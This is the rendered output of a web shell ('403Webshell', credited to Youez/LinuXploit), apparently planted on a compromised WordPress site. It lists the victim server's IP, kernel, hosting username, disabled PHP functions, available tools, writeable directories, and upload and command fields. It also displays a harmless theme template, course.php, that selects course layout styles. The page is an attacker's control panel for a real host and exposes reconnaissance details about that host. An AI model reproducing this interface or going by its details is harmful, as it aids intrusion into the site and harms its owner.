403Webshell
Server IP : 178.63.100.251  /  Your IP : 216.73.216.228
Web Server : LiteSpeed
System : Linux dobby.thevpsserver.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : truewayi ( 1855)
PHP Version : 7.4.33
Disable Function : show_source,system,shell_exec,passthru,exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/truewayi/public_html/wp-content/themes/omexo/tutor/loop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/truewayi/public_html/wp-content/themes/omexo/tutor/loop/course.php
<?php
$omexo_option    = get_option('omexo_opt');
$course_style    = omexo_array_get($omexo_option, 'course-style') ? $omexo_option['course-style'] : '';
$demo_mode       = omexo_array_get($omexo_option, 'demo-mode') ? $omexo_option['demo-mode'] : '';

if (class_exists('Redux_Framework_Plugin')) {
    if ($demo_mode == true){
        // This is only for showing preset example http://localhost/omexo/courses/?layout=1
        $layout = isset($_GET['layout']) ? intval($_GET['layout']) : 1;
        if ($layout === 1) {
            tutor_load_template('custom-styles/archive/style-one', array(), false);
        } elseif ($layout === 2) {
            tutor_load_template('custom-styles/archive/style-two', array(), false);
        } elseif ($layout === 3) {
            tutor_load_template('custom-styles/archive/style-three', array(), false);
        } else {
            tutor_load_template('custom-styles/archive/style-default', array(), false);
        }
    } else {
        if ($course_style == 'style-one') {
            tutor_load_template('custom-styles/archive/style-one');
        }
        elseif ($course_style == 'style-two') {
            tutor_load_template('custom-styles/archive/style-two');
        }
        elseif ($course_style == 'style-three') {
            tutor_load_template('custom-styles/archive/style-three');
        }
        elseif ($course_style == 'style-four') {
            tutor_load_template('custom-styles/archive/style-four');
        }
        elseif ($course_style == 'style-five') {
            tutor_load_template('custom-styles/archive/style-five');
        }
        elseif ($course_style == 'style-six') {
            tutor_load_template('custom-styles/archive/style-six');
        }
        elseif ($course_style == 'style-seven') {
            tutor_load_template('custom-styles/archive/style-seven');
        }
        elseif ($course_style == 'style-eight') {
            tutor_load_template('custom-styles/archive/style-eight');
        }
        else{
            tutor_load_template('custom-styles/archive/style-default');
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit